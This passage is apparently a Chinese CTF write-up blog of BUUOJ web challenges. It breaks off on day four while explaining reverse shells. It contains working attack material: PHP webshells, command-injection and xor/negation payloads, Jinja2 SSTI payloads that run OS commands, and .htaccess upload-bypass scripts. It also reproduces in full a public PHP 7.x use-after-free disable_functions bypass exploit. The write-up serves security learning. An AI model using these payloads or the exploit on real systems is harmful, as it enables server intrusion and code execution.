第 x 周
作者:互联网
这里写自定义目录标题
- ---------day1---------
- [强网杯 2019]高明的黑客(fuzz脚本)
- ZJCTF-2019-Web-逆转思维(代码审计,php伪协议)
- [GXYCTF2019]禁止套娃(git泄露)
- ---------day2---------
- [GXYCTF2019]Ping Ping Ping(管道符,rce)
- [极客大挑战 2019]Secret File(php伪协议)
- [SUCTF 2019]CheckIn(.user.ini)
- ---------day3---------
- [GYCTF2020]EasyThinking(disable_functions绕过)
- [极客大挑战 2019]RCE ME(disable_functions绕过,异或,取反)
- [GYCTF2020]FlaskApp(ssti)
- ---------day4---------
- [SUCTF 2019]EasyWeb
- [BJDCTF 2nd]duangShell(反弹shell,swp泄露)
- [CSCCTF 2019 Qual]FlaskLight(ssti模板注入)
- ---------day5---------
- [RootersCTF2019]I_<3_Flask(ssti,arjun)
- [WUSTCTF2020]CV Maker(上传)
- [SCTF2019]Flag Shop(JWT,ruby web)
- ---------day6---------
- [GKCTF2020]老八小超市儿
- [MRCTF2020]Ezaudit
- [GYCTF2020]Ezsqli
- ---------day7---------
- [CISCN2019 总决赛 Day2 Web1]Easyweb
- [NCTF2019]SQLi
- 020-网鼎杯-朱雀组-Web-phpweb
- [GYCTF2020]Ez_Express
忘记第几周了,就第 x 周吧。
第 x 周的write up。
---------day1---------
[强网杯 2019]高明的黑客(fuzz脚本)
提示很明显了,网站代码已经备份到www.tar.gz上了,访问之,将备份下载下来。
打开文件里的网站源文件
看到了很多混乱的shell,一个一个手动测试是不可能了,于是写了一个python脚本。(但没有加多线程,只能对get传参的shell进行测试)属实没有效率。于是看了下大佬的write up。
import requests
import re
import os
from multiprocessing import Pool
path = 'E:/Personal/devc++/phpstudy/WWW/src/'
url = 'http://0e9af826-06cc-40e0-bf80-aeaef34f24ae.node3.buuoj.cn/'
# r = re.compile(br"\$_GET\['(\w+')\]") # 设置读取的要求
r = re.compile(br"\$_GET\[\'(\w+)\'\]") # 匹配$_GET[‘XXX‘]
f_list = os.listdir(path) # 读取路径文件夹下的所有文件
tmp = []
flags = []
def test(f_list):
a = 0
for list in f_list:
print(a)
a = a+1
with open(path + list, 'r',encoding='utf-8') as f:
lines = f.readlines()
for line in lines:
tmp = r.findall(line.encode('utf-8'))
tmp = str(tmp)[3:-2]
if len(tmp) != 0:
# print(tmp)
exp = url + list + "?" + tmp + "=" +"echo congratulation;"
# print(exp)
# data = {tmp :"echo 'hello'"} # 将携带的参数传给params
# r = requests.get(url + "%s?%s=%s" % (list, tmp, "echo hello;"))
res = requests.get(exp)
if 'hello' in res.text:
print("this param is good: " + tmp)
flags.append(tmp)
print(flags)
test(f_list)
用大佬的脚本跑了下
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"E:\Personal\white up\web-buu\[强网杯 2019]高明的黑客(fuzz,python脚本)\www\src"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
找到有效的shell了 xk0SzyKwfzw.php Efa5BVG
拿到flag
ZJCTF-2019-Web-逆转思维(代码审计,php伪协议)
又是代码审计的题目。
<?php
$text = $_GET["text"]; // 传参
$file = $_GET["file"]; // 传参
$password = $_GET["password"]; // 传参
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
{
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file))
{
echo "Not now!";
exit();
}
else
{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一个关键点:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
判断text是否存在 并且 要上传一个文件text内容为 “welcome to the zjctf”
于是利用PHP伪协议里的data伪协议:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
这里的字符串也可以不用base64编码。
第二个关键点
if(preg_match("/flag/",$file)) // 传参为file
{
echo "Not now!";
exit();
}
else
{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
变量file里面不能含有flag,但是后面的注释里提到了useless.php文件,于是访问这个文件;file=useless.php。
不过不知道为什么没有成功。看了下大佬的write up,访问php文件得先进行base64编码,否者无法使用。这样就又得用为协议了:file=php://filter/read=convert.base64-encode/resource=useless.php
解码之得到useless的代码:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三个:
$password = unserialize($password);
对password进行编码了,又联想到刚才得到的源码,于是利用Flag类对password进行序列化。 O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
自此三个变量的值都有的,进行整合:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
https://segmentfault.com/a/1190000021714035
https://www.jianshu.com/p/43de35540878
[GXYCTF2019]禁止套娃(git泄露)
查看了头文件,.bak,index.php,robots.txt,实在没有招了,看了下大佬的write up。提示有git泄露。
用githack跑了一下。果然跑出来源码。
到此后变成了一道php代码审计的题了。
根据第二个判断应该是要利用php伪协议读取本地的flag.php
第一个if里面的要求必须要使用指定的这四个伪协议
第二个if里面将正则里匹配的去掉;如果最后剩下分号才能继续
第三个是指定payload里得有的字符串
然后根据在网上找到的一些函数来构造payload
scandir可以列出路径中文件和它的目录
但如果要看当前目录的话,得声明一个变量指定路径,这里就用到了localeconv。
还得用pos取出数组中的单元
然后构造payload /?exp=print_r(scandir(pos(localeconv())));
看到flag在第四个,而指针在0处,就得用到反转array_reverse()函数让指针指到-1也就是index.php然后用next指向flag.txt
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
---------day2---------
[GXYCTF2019]Ping Ping Ping(管道符,rce)
知识点
远程命令执行 $IFS$1替代空格
打开页面上就一个?ip=,猜测是get方式给ip传参。
利用管道符可以实现RCE;参考了下这篇博客构造payload [rce以及绕过][https://www.ghtwf01.cn/index.php/archives/273/#menu_index_5]
ls查看当前目录可以看到有flag.php与index.php;直接查看直接被过滤掉了。
利用${IFS}代替空格;也过滤了。
用$代替{}吗,可还是被过滤了;这时想起来前面目录下不还有index.php嘛。
查看index.php;给了源码。
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
查看源码,最关键的是有一个命令执行函数shell_exec()。前面过滤了许多部分字符,斜杠,bash,flag。不过没有过滤sh。
为了去掉flag字符,可以将它先base64加密;过滤掉了""。
将双引号去掉,拿到flag。
payload:?ip=127||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
https://blog.csdn.net/weixin_44348894/article/details/105352676
[极客大挑战 2019]Secret File(php伪协议)
知识点
php伪协议读取文件
打开后查看源码发现有隐藏的页面
打开Archive_room.php
点击secret后直接跳到了end.php;真的什么也没看到。查看源代码,发下点击了后会先跳到action.php然后马上跳到end.php。
写了个爬虫,看下end.php;不过爬虫也只会显示end.php,于是用burp suite查看;提示了secr3t.php。
secr3t.php给出了源码。
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__); //代码高亮
error_reporting(0); // 关闭报错
$file=$_GET['file']; // 传参
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
strstr()函数返回第一次遇到配对字符以及后面说有字符;stristr()是前者的忽略大小写版本。
用php伪协议读取flag.php,拿到了flag的base64编码。
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
[SUCTF 2019]CheckIn(.user.ini)
知识点
.user.ini:.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。可谓很广,不像.htaccess有局限性,只能是apache.
exif_imagetype()函数
以前做题只是用接触过.htacess,这次由于.thacess的局限性,学到了一种新的解析方法。
如果上传php文件,会被直接过滤。
但可以上传图片文件,在网上找了几个常见的图片头
JPG :FF D8 FF E0 00 10 4A 46 49 46
GIF(相当于文本的GIF89a):47 49 46 38 39 61
PNG: 89 50 4E 47
.uer.ini是一个在每次执行php文件前都去读取的文件,其中有两个配置,可以用来制造后门:auto_append_file、auto_prepend_file。可以用这个指定每次访问目录下php文件的时都会去解析的一个文件。比如:
auto_prepend_file=test.jpg
这样每次访问php文件时都会先包含解析test.jpg
所以我们可以自己写一个.user.ini让服务器去包含上传的文件,从而拿到flag。为了绕过上传的限制,在首行加上图片头。
GIF89a
auto_prepend_file=test.jpg
从上面可以看出,上传成功后的文件目录下有一个index.php,我们可以靠访问它来激活.user.ini;上传test.jpg,内容如下,每次访问index.php时就会执行cat flag。
然后访问上传目录下的index.php拿到flag。
也可以传马
---------day3---------
[GYCTF2020]EasyThinking(disable_functions绕过)
知识点
thinkphp6.0 session任意代码执行漏洞
disable_functions绕过
扫描后台,发现有源码泄露,先下载下来。
随便访问一个不存在的控制器,报错,也可以看到thinkphp的版本。
看了网站的这些功能也就只有一个搜索可能有点用。
到源码里查看了下search的写法,发现,输入的字符串直接拼接到session里了。
为了方便burp suite抓包将session改为:1234567890123456789012345678.php,注意是32位。
然后在搜索框输入一个小马,点击搜索,这样这段恶意代码就会被写入到session。
<?php eval($_POST[abc]);?>
然后访问/runtime/session/sess_1234567890123456789012345678.php。
连上蚁剑,可以看到创建的session
好不容易在根目录下找到了flag,可是却打不开,又发现了一个readflag文件,故猜测不能直接读flag,得靠readflag这个文件才行。
为了更多的信息,在目录下写入一个a.php,执行phpinfo(),查看phpinfo里的disable_function。里面禁掉了大部分函数已经让这个这个shell没啥大用了。
于是想着在网上找找能绕过disable_functions的exp。找到一篇合适的,在网上找到一个7.0-7.4的exp。找到一个有权限创建文件的目录,将代码上传保存为bypass.php。其他情况下也可以试试蚁剑的disable_functions绕过插件,不过本题不适用。
<?php
# url:https://github.com/mm0r1/exploits/tree/master
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("/readflag");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
然后再到搜索框构造paylaod让session可以包括这个文件。但是还是不显示flag,于是想着运行readflag看看是不是能出flag。将命令改为/readflag
,再到页面执行命令包含bypass.php,拿到flag。
abc=include('/var/www/html/runtime/session/bypass.php');
[极客大挑战 2019]RCE ME(disable_functions绕过,异或,取反)
知识点
php异或,取反 https://blog.csdn.net/mochu7777777/article/details/104631142
disable_functions绕过
网页首页给了代码。
<?php
error_reporting(0); // 关闭报错
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){ // 长度限制 小于等于40
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){ // 不能有字母数字
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__); // 高亮
}
// ?>
代码倒是简单,倒是过滤了所有字母和数字。常用的命令执行肯定不能使用了。所以这里就得用到正则绕过。既然是正则绕过,先用在easy_php里学到的姿势看一波phpinfo(),这里是取反urlencode编码。
http://f8d1877f-bba4-43ae-94fb-2f6798132f94.node3.buuoj.cn?code=(~%8F%97%8F%96%91%99%90)();
way 1
构造取反payload连接蚁剑。
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo " ";
$c='(eval($_POST[abc]))';
$d=urlencode(~$c);
echo $d;
?>
# %9E%8C%8C%9A%8D%8B %D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%9D%9C%A2%D6%D6
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
连接蚁剑,密码为abc的。
和之前有道题一样,disable_functions禁掉太多命令执行函数,导致shell的用处不大,根目录下的flag不能直接查看,而且含有flag和readflag。
disable_functions里面禁掉的函数有点多。
之前用的是thinkphp6.0session漏洞的exp绕过disable_functons,这道题试过后可以用蚁剑的插件绕过直接读取flag。
git clone https://github.com/Medicean/as_bypass_php_disable_functions.git
文件复制至 antSword\antSword\antData\plugins 下
重启蚁剑即可
拿到flag。
way 2
或者可以利用linux提供的LD_preload环境变量,劫持共享so,启动子进程的时候,新的子进程回家再恶意的so拓展,然后可以在so里定义同名函数,就可以戒指api调用,进行任意命令执行。
浅谈LD_preload:https://www.anquanke.com/post/id/175403
exp:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
经过测试/var/tmp有上传权限,上传exp与恶意so文件。
这里直接用一下PHITHON师傅的payload,(payload讲解:https://blog.csdn.net/mochu7777777/article/details/104631142)
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
将后面的变量换为自己要执行的命令
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
拿到flag
[GYCTF2020]FlaskApp(ssti)
知识点
ssti模板注入
常见字符串拼接
pin码 https://blog.csdn.net/sopromeo/article/details/105875248
拿到flask的站,第一个想到的就是ssti模板注入。
提示:失败乃成功之母
加密,解密也能正常运行。
不过当解密解析不了的时候,会出现报错,应该是没有关闭debug。
在app/app.py下面可以看到后台对输入的字符串是如何处理的。
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') : # 变量text 接收传参
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode()) # 将输入的字符串解码后拼接到前面
if waf(tmp) : # 将拼接好的字符串进行检测,如果能通过waf则输出。
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
Open an interactive python shell in this frame flash( res )
ssti注入测试以下。
确实存在注入
利用一下官方的payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
# 将popen里面的命令改为遍历根目录
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
被waf检测到了
尝试用字符串拼接绕过。
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impo'+'rt__'+'("o'+'s")'+'.pop'+'en("l'+'s /").re'+'ad()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
成功读出了根目录下的文件,有一个this_is_the_flag.txt文件,估计flag就在里面。
尝试直接读取flag字符
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impo'+'rt__'+'("o'+'s")'+'.pop'+'en("ca'+'t /this_is_the_f'+'lag.txt").re'+'ad()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
这会就直接拿到了flag。
看了下师傅们的write up,除了字符串拼接,还可以用切片将字符串倒转输出,不得不感叹师傅们太牛了。
txt.galf_eht_si_siht/’[::-1]
{{ b['eva'+'l']('__impo'+'rt__'+'("o'+'s")'+'.pop'+'en("ca'+'t /this_is_the_f'+'lag.txt").re'+'ad()') }}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}
{% endif %}
{% endfor %}
---------day4---------
[SUCTF 2019]EasyWeb
知识点
php异或
.htaccess的用法
不墨迹,直接就把源码给了。
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^"); // 检测php
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) // 过滤了字母,数字,以及其他一些字符
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!"); // 限制长度12
eval($hhh);
?>
先看这个判断,过滤了字母,数字,以及其他一些字符。这让我想起了之前做的正则无字母绕过题([极客大挑战 2019]RCE ME)。这里直接phithon师傅试一下paylaod。
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
和之前的异或题一样,来查看下disable_functions。果然过滤了大部分执行函数。不过和之前不同的是,本题多了一个get_the_flag()函数。
可以利用get_the_flag()上传文件。不过这里过滤了ph,也就是说.php以及它的另外一些常见的后缀(phtml,PHP等)都不可用。这时我想起来做过一道利用配置文件.user.ini包含本地文件然后用服务器去解析实现任意命令执行的题。([SUCTF 2019]CheckIn)不过本题上传后没有可供访问的php文件,所以可以上传.htaccess文件。
tips1:.htaccess与.user.ini的区别在于:.user.ini适用于nginx的服务器,而且上传目录下有一个php文件,所以checkin可以用这个;本题是apache的服务器,而且无可用php文件,故用.htaccess
tips2:.htaccess上传的时不能用GIF89ad等头文件绕过exif_imagetype(),纵使上传成功,也无法令其生效。
这时有两个方法
在文件前添加:
#define width 1337
#define height 1337
# 是注释符,所以不会对后续有影响
或者
在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
tips3:这里的php版本是7.2
<script language="php"></script>
无法使用上述代码,绕过对<?的检测解决方法是将一句话base64编码,然后在.htaccess中利用伪协议进行解码
.htaccess
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
shell.abc 这里文件头后面的12是为了补足8个字节,满足后面的base64编码规则。
GIF89a12
PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
tips看完后,正式开始操作,先看一下代码。
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^"); // 检测php
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
当然本题没有写上传的功能,于是只有用python的requests上传文件。
先用网上大佬的exp用一下,exp的一些代码在tips里已经说明了,做完了再去学学怎么写。
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c41893938531041badacfc22febe3abd/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://291314ba-4904-424c-a211-3258ecd8f271.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
上传成功,访问,打印的目录下的文件。
连上蚁剑,不过没有权限。
way 1
这时想到之前在绕过disable_functions的蚁剑插件(具体请看[极客大挑战 2019]RCE ME),启动插件,在根目录下找到了flag。
way 2
不过看了师傅们的write up后,正确的揭发应该是绕过open_basedir。
查看phpinfo里的open_basedir,可以看到这里只给了/var/www/html/与/tmp下的目录的权限。
可以用绕过open_basedir的payload实现命令执行
payload1:a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
payload2:a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(readfile('/THis_Is_tHe_F14g'));
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)
知识点
`反弹shell``
``swp泄露`
打开后,很明显,已经提示了swp源码泄露。
常用linux的应该都知道,当vim编辑器在工作时异常退出,就会留下产生的临时文件,保存为.name.swp
访问.index.php.swp.
,将临时文件下载下来。
接下来为了能得到vim编辑器异常退出时正在编辑的源码,也就是还原swp文件。将文件放在linux下,使用vim编辑器还原。或者在git bash下也能运行此命令还原。
源代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
过滤掉了$,base64,所以常见的拼接绕过在这里不能用了。
看了下师傅们的write up,这道题用的是反弹shell。
https://xz.aliyun.com/t/2548
https://xz.aliyun.com/t/2549
反弹shell就是控制端监听某tcp/udp端口,被控端发起请求到该端口,并将命令行的输入输出转到控制端。
